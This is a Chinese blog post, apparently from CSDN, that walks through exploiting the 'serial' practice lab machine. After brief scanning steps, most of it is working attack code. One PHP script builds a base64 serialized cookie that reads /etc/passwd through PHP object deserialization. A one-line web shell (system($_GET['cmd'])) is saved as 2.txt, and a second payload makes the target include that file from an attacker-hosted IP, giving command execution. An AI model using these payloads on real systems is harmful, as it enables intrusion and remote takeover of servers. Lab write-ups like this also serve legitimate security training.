serial靶机

最新推荐文章于 2024-08-07 20:00:00 发布

Sɪʟᴇɴᴛོ.498

最新推荐文章于 2024-08-07 20:00:00 发布

阅读量212

点赞数 10

文章标签：网络安全

本文链接：https://blog.csdn.net/qq_67480384/article/details/140963388

版权

ip地址扫描

端口扫描

目录扫描

抓包，查看cookie

编写php代码

<?php
  class Log {
    private $type_log = "/etc/passwd";
  }
 
  class User {
    private $name = "admin";
    private $wel;
 
    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

进行访问

将编码后的，赋值给cookie

编写2.txt

<?php system($_GET['cmd']);?>

将2.txt包含进去

<?php
  class Log {
    private $type_log = "http://192.168.110.118/2.txt";
  }
 
  class User {
    private $name = "admin";
    private $wel;
 
    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

再次访问

将生成的编码赋值给cookie
cmd=id